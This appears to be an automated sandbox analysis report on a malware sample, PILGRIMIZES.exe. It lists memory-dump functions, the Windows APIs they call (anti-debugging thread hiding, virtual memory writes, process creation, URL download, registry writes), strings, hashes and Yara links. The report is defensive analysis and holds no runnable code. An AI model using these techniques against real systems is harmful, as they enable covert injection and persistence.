API ID:
String ID: 1.!T$TEMP=$kernel32$ntdll$user32$6
API String ID: 0-1535988826
Opcode ID: 056068e0199762cd18f3817823360b3b0426fc02bf4a9b1eb23fb8b580b2446e
Instruction ID: 6a5fe1d131a4fca19201275f3ebe241d7e7bb44893451ef74a1dd035dee625d7
Opcode Fuzzy Hash: 056068e0199762cd18f3817823360b3b0426fc02bf4a9b1eb23fb8b580b2446e
Instruction Fuzzy Hash: DDF1340A1102004AEF1C1F585857BEAF7A5AE93630FD047F7C73A9A8FFD6A421834676

Uniqueness

Uniqueness Score: -1.00%

Function 02314791, Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301librarynativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,02317E3E,F21FD920), ref: 02310A3A
LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,023109F0,00000000,?,02317E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 023171A2

Strings

6, xrefs: 02310A3C
1.!T, xrefs: 02310A20
kernel32, xrefs: 02315355

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T$kernel32$6
API String ID: 543350213-3815127790
Opcode ID: f2c38d81423dff7b716480527dc50708ad5b8929b4b0035873890d081cae67f8
Instruction ID: 539955fc26e593ab2c5372ea4861d30d86fca4c59576a923397eff6648f19948
Opcode Fuzzy Hash: f2c38d81423dff7b716480527dc50708ad5b8929b4b0035873890d081cae67f8
Instruction Fuzzy Hash: 9AA145291502415AEF3C2F248C42BEEB664AF54730FC04766EF399B4D9D774A5838B62

Uniqueness

Uniqueness Score: -1.00%

Function 023121CE, Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 493COMMON

Download Yara Rule

Strings

6, xrefs: 02310A3C
1.!T, xrefs: 02310A20
kernel32, xrefs: 02315355

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: 1.!T$kernel32$6
API String ID: 1029625771-3815127790
Opcode ID: e66d33a04ea8c841b911594676a374bff4d08d4e93b98d48ede39be01a0587b6
Instruction ID: 91b70070504f3c2524dc4f195fd565522eea24f11de02a8fa5d00824c96e5c0c
Opcode Fuzzy Hash: e66d33a04ea8c841b911594676a374bff4d08d4e93b98d48ede39be01a0587b6
Instruction Fuzzy Hash: D1F125356007119BEB1C9F28CC81BDAB3A5BF44330F94436AED78976C5C774A852CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02312EB1, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 203COMMON

Download Yara Rule

Strings

6, xrefs: 02310A3C
1.!T, xrefs: 02310A20
kernel32, xrefs: 02315355

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID:
String ID: 1.!T$kernel32$6
API String ID: 0-3815127790
Opcode ID: e6cb2d2a6321a3622f6a5863f9a28e66a1ea55b399208a008a47f4c33d2e3b25
Instruction ID: 768f3c0e0d1cf1597931ea5fadc85fb7136e75e79ddb361298664be0cb058f12
Opcode Fuzzy Hash: e6cb2d2a6321a3622f6a5863f9a28e66a1ea55b399208a008a47f4c33d2e3b25
Instruction Fuzzy Hash: A251692A16030006EF1C1F284C467EDB7519FA5730FD047A7DB399B4DED6A4A4838767

Uniqueness

Uniqueness Score: -1.00%

Function 023109D6, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 186nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 02317101: LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,023109F0,00000000,?,02317E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 023171A2

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,02317E3E,F21FD920), ref: 02310A3A

Strings

6, xrefs: 02310A3C
1.!T, xrefs: 02310A20
kernel32, xrefs: 02315355

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T$kernel32$6
API String ID: 543350213-3815127790
Opcode ID: d13d68edab8ed4cb04431359cb3a9bc98df9bd99a92c45319a31085148ee8a6a
Instruction ID: 000b22ba14cbbb87409aa7c3ea392be3376c4aed1eb7780f06646e16a4ea3ac6
Opcode Fuzzy Hash: d13d68edab8ed4cb04431359cb3a9bc98df9bd99a92c45319a31085148ee8a6a
Instruction Fuzzy Hash: 6751361A2202004AEF1D2F284C467EDF7509FA5730FC047A7DB399B8DED6A4A5838776

Uniqueness

Uniqueness Score: -1.00%

Function 023108E0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

6, xrefs: 02310A3C
1.!T, xrefs: 02310A20

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID:
String ID: 1.!T$6
API String ID: 0-4198636089
Opcode ID: 582bfd598ad97da59a2dcbf8727e55e6489b0e9a8a930503a9a234a621d526e6
Instruction ID: 6c2eef3c645091763e416214ae87e336384a3f37f45a7aee2cb2a6099a2c78ff
Opcode Fuzzy Hash: 582bfd598ad97da59a2dcbf8727e55e6489b0e9a8a930503a9a234a621d526e6
Instruction Fuzzy Hash: D2315B3524030086FF1C5F648D59B8AF7B6AF17B70F600166EE0A6B1EED3609583D725

Uniqueness

Uniqueness Score: -1.00%

Function 023132BD, Relevance: 1.9, APIs: 1, Instructions: 419COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbf00c7610de0f05eddeb6fc8c99a161b38a0882ed0f752d1a21296289f15116
Instruction ID: c81eccf81b807979115f337ac88d4a6112703ea28a2eea39dd2a9454d6ee1733
Opcode Fuzzy Hash: bbf00c7610de0f05eddeb6fc8c99a161b38a0882ed0f752d1a21296289f15116
Instruction Fuzzy Hash: 9AD189B52002449BFF2D1F04CC45BE9B766FF02730FA043B5E72A5A4E6C7B494869B65

Uniqueness

Uniqueness Score: -1.00%

Function 02313447, Relevance: 1.9, APIs: 1, Instructions: 368COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09866bc2e2635fbd87cc7f682fde58e4964fbe55f57ca3d4c7d2365a9c7cb377
Instruction ID: 2da24a5152beaf1809815c0e1adf7f4fd31d2cac6d48aa89f6eabca948fc380b
Opcode Fuzzy Hash: 09866bc2e2635fbd87cc7f682fde58e4964fbe55f57ca3d4c7d2365a9c7cb377
Instruction Fuzzy Hash: 4BB159752001409BEF2A5F54DC46BE9BB66FF02730FA043F5D73A9A4E6C7B811868761

Uniqueness

Uniqueness Score: -1.00%

Function 02318BF1, Relevance: 1.8, APIs: 1, Instructions: 337nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,0231868B,00000040,02310A1D,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02318BD7

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 77577c6859206ce0f5d9e914d97140b646debcf90c738708d983ab5d9850c08e
Instruction ID: e51682b369d799769d475f77ac23d0190762fc2c9e569c347d46031b7065a1d2
Opcode Fuzzy Hash: 77577c6859206ce0f5d9e914d97140b646debcf90c738708d983ab5d9850c08e
Instruction Fuzzy Hash: BD71025A1176404EFB190B58A985BA6F7A9EF077307A007F7C23ACE4FBD6840543837A

Uniqueness

Uniqueness Score: -1.00%

Function 02313645, Relevance: 1.8, APIs: 1, Instructions: 312nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 0231399D

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: b7494858e0db2c898c1360c60e76d2270a6d5d33d68447b08d17188ab5fb1089
Instruction ID: 6c742c1216c26be015db9215d576727043365df017cccdd3f8087c033d7e6c38
Opcode Fuzzy Hash: b7494858e0db2c898c1360c60e76d2270a6d5d33d68447b08d17188ab5fb1089
Instruction Fuzzy Hash: 379148AA1001449AFF291F449D95BE9B7A6FF03730FA003F2D73A8E5EAC2E405875761

Uniqueness

Uniqueness Score: -1.00%

Function 02313807, Relevance: 1.8, APIs: 1, Instructions: 270nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 0231399D

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 23256ff1bf22022f9176b68cbf1785b6d8ea4ac966f0dab8381495664a1a7aeb
Instruction ID: ca2650f4960af73b4552eadfa1fa34ba97f2ae7d841da558dd9a867a6cabbb46
Opcode Fuzzy Hash: 23256ff1bf22022f9176b68cbf1785b6d8ea4ac966f0dab8381495664a1a7aeb
Instruction Fuzzy Hash: 0571C76A0001508AEF191F549945BE9BBA6FF07730FE007F6D33A5A8EBC7A4118B9661

Uniqueness

Uniqueness Score: -1.00%

Function 02318511, Relevance: 1.8, APIs: 1, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: 626bd06504e8647a810d55e1546fc5724fbd2f02994c629e497a187d1d976711
Instruction ID: da49cdbc3523a3f456663d28fdb6d759a708226fd342d00a7dedd8ab97dc1bef
Opcode Fuzzy Hash: 626bd06504e8647a810d55e1546fc5724fbd2f02994c629e497a187d1d976711
Instruction Fuzzy Hash: C891CD70904341DFEB39DF38C4D4B55BBA1AF56324F58C299D9968F2DAC3748442CB26

Uniqueness

Uniqueness Score: -1.00%

Function 02313568, Relevance: 1.7, APIs: 1, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ef05106888bce20c49d128d5450f9ef0daec24570a061bf38bf199399bb51e7
Instruction ID: ad7429f794c359c2b9aa6aea8ea291bcfb6f9c5ac4754d2404460b98acc8f5c3
Opcode Fuzzy Hash: 0ef05106888bce20c49d128d5450f9ef0daec24570a061bf38bf199399bb51e7
Instruction Fuzzy Hash: 8561E4B1640249AFFF395F10CC95BE97A66FF05304F548128FA49AB2D0C7B9A8D4CB85

Uniqueness

Uniqueness Score: -1.00%

Function 02318BBB, Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,0231868B,00000040,02310A1D,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02318BD7

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: e321634b5848cb9033a4850ee334c4796eaa3c0b8d5c91ad4aee0868860d2ee2
Instruction ID: 99a9d8d00dcc117a606ac92e411db70f0a20e9638b8254fcc77bd410a86e3b5b
Opcode Fuzzy Hash: e321634b5848cb9033a4850ee334c4796eaa3c0b8d5c91ad4aee0868860d2ee2
Instruction Fuzzy Hash: 72C012E82240002E68048E28CD48D2BB2AA86D8A28B10C32CB872B22CCCA30EC058132

Uniqueness

Uniqueness Score: -1.00%

Function 02314AF0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

0={,, xrefs: 02314C7F

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: 0={,
API String ID: 1029625771-63937952
Opcode ID: b6af6dea2e9d6c62171ed5cb7795d41b51f0c24359ae90e12da191cb7ad093fe
Instruction ID: fa9237356f349f4d3a396d428cadce3a3c20983e408b41119646273246596289
Opcode Fuzzy Hash: b6af6dea2e9d6c62171ed5cb7795d41b51f0c24359ae90e12da191cb7ad093fe
Instruction Fuzzy Hash: EF5173B460024A9FCB29EF65C8907DEB763AF98350F248129EC5687348DB359853DF61

Uniqueness

Uniqueness Score: -1.00%

Function 023165CF, Relevance: 2.8, APIs: 1, Instructions: 1296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2d00ed734ee6088ed2c24c59a5cc0bdfecbb7a30fef554e87d75214fa813c3f
Instruction ID: b373e6272d6819d9dde8d8446a8fa6eac35623c52d5e06aa6fe031243424df67
Opcode Fuzzy Hash: a2d00ed734ee6088ed2c24c59a5cc0bdfecbb7a30fef554e87d75214fa813c3f
Instruction Fuzzy Hash: F962824F010110866A1C1FC9665BAEAF7ADBD03A307E017F6C23E9D8FF969412875E76

Uniqueness

Uniqueness Score: -1.00%

Function 0231906E, Relevance: 2.6, APIs: 1, Instructions: 1141processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE ref: 02319762

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 04ad66eaab63b8aa0fe79994ebc80e1e28f5089b1f48b50d9b5e8ad04d77471a
Instruction ID: b007753fcbc793bbd00b4d0b753a5b9c3f0e0934d6a4948fd6c346dee38e618e
Opcode Fuzzy Hash: 04ad66eaab63b8aa0fe79994ebc80e1e28f5089b1f48b50d9b5e8ad04d77471a
Instruction Fuzzy Hash: 3C52A50E15014086AF1D0F58656ABE9F7A9BE07A30BE017F7C23F9E8FF959402875672

Uniqueness

Uniqueness Score: -1.00%

Function 02317128, Relevance: 1.8, APIs: 1, Instructions: 291libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,023109F0,00000000,?,02317E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 023171A2

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0ec60d22c36dd94fd26205db41b59c1851ba0cbd5e46b16e2d053f735c4594c4
Instruction ID: 1a546faba1f2d0460ab3b1ad66d5913a0236f2626c27664a2683468fc48045e7
Opcode Fuzzy Hash: 0ec60d22c36dd94fd26205db41b59c1851ba0cbd5e46b16e2d053f735c4594c4
Instruction Fuzzy Hash: 27818B1B0202008BDF1D1F589545BEAF7A6BD077307A807B6E63A9E8EFC79011479771

Uniqueness

Uniqueness Score: -1.00%

Function 02316FE8, Relevance: 1.7, APIs: 1, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680908327f4bf39f765f0976c73c171d18486c4f2dba39b1c2e0cbbd856d2626
Instruction ID: 34d49485f10e09b03d6df9e9736b728d97b2edc8581836919b41810428df1af4
Opcode Fuzzy Hash: 680908327f4bf39f765f0976c73c171d18486c4f2dba39b1c2e0cbbd856d2626
Instruction Fuzzy Hash: 6051E74F020740465F2C1B542545BEAF37AAD03A30BE817B6C33F898EFD79401875676

Uniqueness

Uniqueness Score: -1.00%

Function 02319779, Relevance: 1.7, APIs: 1, Instructions: 204processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE ref: 02319762

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 2a25310ea3ce3adefabd0a7305b437a31575bd42e59a036e4a199c2bc06912f5
Instruction ID: 70cd77761ae15d4742e235d762b11486be8aafc2770547840b01b6ddce7e54c5
Opcode Fuzzy Hash: 2a25310ea3ce3adefabd0a7305b437a31575bd42e59a036e4a199c2bc06912f5
Instruction Fuzzy Hash: DB51BA0E0101508A7F1D1FA46A65BEAF7A6AE07A307E01BF7C23F8D8FF959406475672

Uniqueness

Uniqueness Score: -1.00%

Function 0231939B, Relevance: 1.7, APIs: 1, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4761e8797ae00c8bd5a44c9733044ff0bdf116abd29be0ee4e74e833e9adb110
Instruction ID: 35d909c7c208f81d31d7815eddab560e52e252a36d5f381e9f865c9be2f153d6
Opcode Fuzzy Hash: 4761e8797ae00c8bd5a44c9733044ff0bdf116abd29be0ee4e74e833e9adb110
Instruction Fuzzy Hash: 9A51DA152005108AEB1D9F1988767E9B750DF05730FC41BE7C33A8B8EEDB649182C3A7

Uniqueness

Uniqueness Score: -1.00%

Function 023195B3, Relevance: 1.7, APIs: 1, Instructions: 163processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE ref: 02319762

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 1148efaf1652a74ff9cc6d1dd981a8ec13e92bb249a609ce98c478557b541195
Instruction ID: d31856fbff4cb9465401ff3a0344072dcd2c7d6624cfabcb8a1cafcdce795e4c
Opcode Fuzzy Hash: 1148efaf1652a74ff9cc6d1dd981a8ec13e92bb249a609ce98c478557b541195
Instruction Fuzzy Hash: 7D51D4191105908AEF2D1F1898657E8F794EF15730FC01BE7C33A8A8FED764518283BA

Uniqueness

Uniqueness Score: -1.00%

Function 02318FBC, Relevance: 1.6, APIs: 1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fa08d7a4c5d936aaa09be6b8704d9de450380d166febcc1dcd4c4ed984e5570
Instruction ID: 39541a79b7bc4b7fa015ec7320242fb3c2a3753da30d55b91443c3e4d4110447
Opcode Fuzzy Hash: 5fa08d7a4c5d936aaa09be6b8704d9de450380d166febcc1dcd4c4ed984e5570
Instruction Fuzzy Hash: 02315932705645CFEF2D9E24CD643E477A2EF523A5F58426AC9868B5E2D338C4C5CB41

Uniqueness

Uniqueness Score: -1.00%

Function 02316DD6, Relevance: 1.6, APIs: 1, Instructions: 61libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,023109F0,00000000,?,02317E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 023171A2

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6e7d9f4afb9f1af29199cfc7b6617783c319e872d5f68f83d7532026dd10e86e
Instruction ID: 81127e732c61ec537d662d2c29319efe065d4cb05ee8ce310b5efb9334a8cd2d
Opcode Fuzzy Hash: 6e7d9f4afb9f1af29199cfc7b6617783c319e872d5f68f83d7532026dd10e86e
Instruction Fuzzy Hash: C6116B745103866AEF3D7F64CC017FAB66DAF057A0F988668FD9556089D7A888C38E20

Uniqueness

Uniqueness Score: -1.00%

Function 02314270, Relevance: 1.5, APIs: 1, Instructions: 38libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,023109F0,00000000,?,02317E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 023171A2

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a5fd03eec5aabe1148c076d7e567975f0c958e9a620e9a1ddc566a7297f132eb
Instruction ID: 0a5b83e28b3195fcc4c2fa970542eea06add8b39a907785f1ea1b7d8fb022c8e
Opcode Fuzzy Hash: a5fd03eec5aabe1148c076d7e567975f0c958e9a620e9a1ddc566a7297f132eb
Instruction Fuzzy Hash: A2F0A09811025639DF3C3E644A447FEA11E9F14BB0FBC8830BD869250D9B9884835961

Uniqueness

Uniqueness Score: -1.00%

Function 02317101, Relevance: 1.5, APIs: 1, Instructions: 33libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,023109F0,00000000,?,02317E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 023171A2

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8f04b48bfe671e58d376fef62f7cb276023cdad5ac24f270fa41593810f1a310
Instruction ID: 7e420cc9bc44b50d2c6c5a4b8d6fc4e60c47125ddef10c52a72dbceaa16f0b11
Opcode Fuzzy Hash: 8f04b48bfe671e58d376fef62f7cb276023cdad5ac24f270fa41593810f1a310
Instruction Fuzzy Hash: F7E0928411039639EB3C3B745E04BFEE12D9F14BA1F6C9834BD869154D9B6888834A61

Uniqueness

Uniqueness Score: -1.00%

Function 02311CAD, Relevance: 1.5, APIs: 1, Instructions: 13registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNELBASE(?,0231569C,00000000,00000001,?,?,?,?), ref: 02311CC5

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 6bdaa0cb3b82f272adecba2e703140a4a5913630ed58f08d4c1b5e06e130ca02
Instruction ID: 8f660a77e21b62eb49146cf4b2c81caf96f49fc6198a51736284ef36cf7e8a82
Opcode Fuzzy Hash: 6bdaa0cb3b82f272adecba2e703140a4a5913630ed58f08d4c1b5e06e130ca02
Instruction Fuzzy Hash: C7C012B01103066AFB222A298CA9F97AA1EAF10301F400012F90AA5080CBA1CC608260

Uniqueness

Uniqueness Score: -1.00%

Function 023168EA, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00000200,02311E43,?,?,?,?), ref: 02316B0A

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 3cfeb0ef513feec24dad9b4eddeff3556cef96765e3047861338f42b2a7d3efb
Instruction ID: 8f6ea13b69a8e841f19c22a10a7ab60c65de3c23e819227b2bf590938516e04e
Opcode Fuzzy Hash: 3cfeb0ef513feec24dad9b4eddeff3556cef96765e3047861338f42b2a7d3efb
Instruction Fuzzy Hash: 02C08C30208300ABE30CCB50CDC6F2B76BCBB40300F00D404F88782402C730EC04CA20

Uniqueness

Uniqueness Score: -1.00%

Function 02314281, Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,02314154,023142A3,02310A41,?,02317E3E,F21FD920), ref: 02314295

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e2f8b3fc84afe77b2e44bd9eac774263979335adf19bdf2e5a41aedaa8eff26f
Instruction ID: 90778f157ef074656d7de284b4bab831f576b04e2021a8a1eff49e75729f027a
Opcode Fuzzy Hash: e2f8b3fc84afe77b2e44bd9eac774263979335adf19bdf2e5a41aedaa8eff26f
Instruction Fuzzy Hash: A4C092717E0300B6FA348A208D57F8A62159B90F00F30840877093C0C085F1B610C62C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: PILGRIMIZES.exe PID: 6668 Parent PID: 5668 PILGRIMIZES.exeCOMMON

Executed Functions

Function 00560949, Relevance: 14.6, APIs: 2, Strings: 6, Instructions: 575COMMON

Download Yara Rule

Strings

TEMP=, xrefs: 00565402
user32, xrefs: 005653D4
ntdll, xrefs: 005653E0
1.!T, xrefs: 00560A20
kernel32, xrefs: 00565355
6, xrefs: 00560A3C

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID: 1.!T$TEMP=$kernel32$ntdll$user32$6
API String ID: 0-1535988826
Opcode ID: 056068e0199762cd18f3817823360b3b0426fc02bf4a9b1eb23fb8b580b2446e
Instruction ID: 84efbfc09cef954b0a25c7bc3abc8aa7dd955f4e5fdf03e2d3b65990d24b45d6
Opcode Fuzzy Hash: 056068e0199762cd18f3817823360b3b0426fc02bf4a9b1eb23fb8b580b2446e
Instruction Fuzzy Hash: 57F1F71A290B0046DE011B64555ABEEFF25BE23B32FD017A7D33A0F5F7E5540283A76A

Uniqueness

Uniqueness Score: -1.00%

Function 00564779, Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310networklibrarynativeCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00567E3E,F21FD920), ref: 00560A3A
InternetOpenA.WININET(005651CB,00000000,00000000,00000000,00000000), ref: 00564783
InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00564900
LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,005609F0,00000000,?,00567E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 005671A2

Strings

1.!T, xrefs: 00560A20
kernel32, xrefs: 00565355
6, xrefs: 00560A3C

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen$InformationLibraryLoadThread
String ID: 1.!T$kernel32$6
API String ID: 349944081-3815127790
Opcode ID: 5c970a5c72e38d89be012d46235f5d3959fb51e3cd1ea2a37ee331e5b202d403
Instruction ID: d226bd64b5902113b8e0c9b9e1fa730252e9393e2c55d35b82101651d165a356
Opcode Fuzzy Hash: 5c970a5c72e38d89be012d46235f5d3959fb51e3cd1ea2a37ee331e5b202d403
Instruction Fuzzy Hash: DFA115282807459ADF201F24CC56BEE7F14BF10770FD04726EB395B5E1E6348581D76A

Uniqueness

Uniqueness Score: -1.00%

Function 005621CE, Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 493COMMON

Download Yara Rule

Strings

1.!T, xrefs: 00560A20
kernel32, xrefs: 00565355
6, xrefs: 00560A3C

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID: 1.!T$kernel32$6
API String ID: 1029625771-3815127790
Opcode ID: 1dd7bc51058ca2a643fed87f8b67d48c071d693c464c3f289197d697ace64f33
Instruction ID: 571759523dfd167d10d16dc783042c1b139fcb4bb172b8bfea769596f7f31250
Opcode Fuzzy Hash: 1dd7bc51058ca2a643fed87f8b67d48c071d693c464c3f289197d697ace64f33
Instruction Fuzzy Hash: 97F12734740B029BDB149F28CC95BE9BF64FF14730F944329E968576E2DB34A881CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00562EB1, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 203COMMON

Download Yara Rule

Strings

1.!T, xrefs: 00560A20
kernel32, xrefs: 00565355
6, xrefs: 00560A3C

Memory Dump Source

Source File: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID: 1.!T$kernel32$6
API String ID: 0-3815127790
Opcode ID: e6cb2d2a6321a3622f6a5863f9a28e66a1ea55b399208a008a47f4c33d2e3b25
Instruction ID: d965a66415931db20f6aa99c08aef991d12b8fafc8f7540865549e8ddcc64daa
Opcode Fuzzy Hash: e6cb2d2a6321a3622f6a5863f9a28e66a1ea55b399208a008a47f4c33d2e3b25
Instruction Fuzzy Hash: 0D51A129290B0046DF451F248856BEEBF11BF21B70FD01766EB391B6F6F6648682C35E

Uniqueness

Uniqueness Score: -1.00%

